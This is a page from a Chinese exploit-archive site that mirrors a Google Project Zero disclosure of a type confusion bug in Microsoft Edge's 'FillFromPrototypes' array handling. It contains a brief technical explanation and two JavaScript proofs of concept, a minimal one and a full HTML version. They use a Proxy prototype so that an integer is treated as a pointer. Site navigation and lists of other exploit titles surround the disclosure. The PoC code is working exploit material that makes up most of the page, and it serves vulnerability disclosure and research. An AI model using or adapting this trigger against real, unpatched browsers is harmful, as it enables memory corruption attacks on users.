首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Edge - 'FillFromPrototypes' Type Confusion
来源:Google Security Research 作者:Google 发布时间:2016-11-21  
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=945
 
JavascriptArray::FillFromPrototypes is a method that is used by several Javascript functions available in the browser to set the native elements of an array to the values provide by its prototype. This function calls JavascriptArray::ForEachOwnMissingArrayIndexOfObject with the prototype of the object as a parameter, and if the prototype of the object is an array, it assumes that it is a Var array. While arrays are generally converted to var arrays if they are set as an object's prototype, if an object's prototype is a Proxy object, it can return a parent prototype that is a native int array. This can lead to type confusing, allowing an integer to be treated as an absolute pointer, when JavascriptArray::FillFromPrototypes is called. A minimal PoC is as follows, and a full PoC is attached.
 
var a = new Array(0x11111111, 0x22222222, 0x33333333, 0x44444444, 0x12121212, 0x23232323, 0x12345670, 0x7777);
 
var handler = {
    getPrototypeOf: function(target, name){
    return a;
    }
};
 
var p = new Proxy([], handler);
var b = [{}, [], "natalie"];
 
b.__proto__ = p;
b.length = 4;
 
a.shift.call(b);
 // b[2] is type confused
-->
 
<html>
<body>
<script>
 
var a = new Array(0x11111111, 0x22222222, 0x33333333, 0x44444444, 0x12121212, 0x23232323, 0x12345670, 0x7777);
 
var handler = {
    getPrototypeOf: function(target, name){
       // print("get proto");
    return a;
    }
};
 
var p = new Proxy([], handler);
var b = [{}, [], "natalie"];
 
b.__proto__ = p;
b.length = 4;
 
a.shift.call(b);
print(a.shift.call(b[2]));
 
</script>
</body>
</html>
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Moxa SoftCMS 1.5 - Denial of S
·Microsoft Edge - 'Array.filter
·FTPShell Client 5.24 - 'PWD' R
·Microsoft Edge - 'Array.revers
·Nagios 4.2.2 - Privilege Escal
·Microsoft Edge - 'Array.splice
·PowerShellEmpire Arbitrary Fil
·Microsoft Internet Explorer 11
·Authenticated WMI Exec Via Pow
·Microsoft Edge CTextExtractor:
·Microsoft Edge Eval Type Confu
·Microsoft Edge Scripting Engin
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved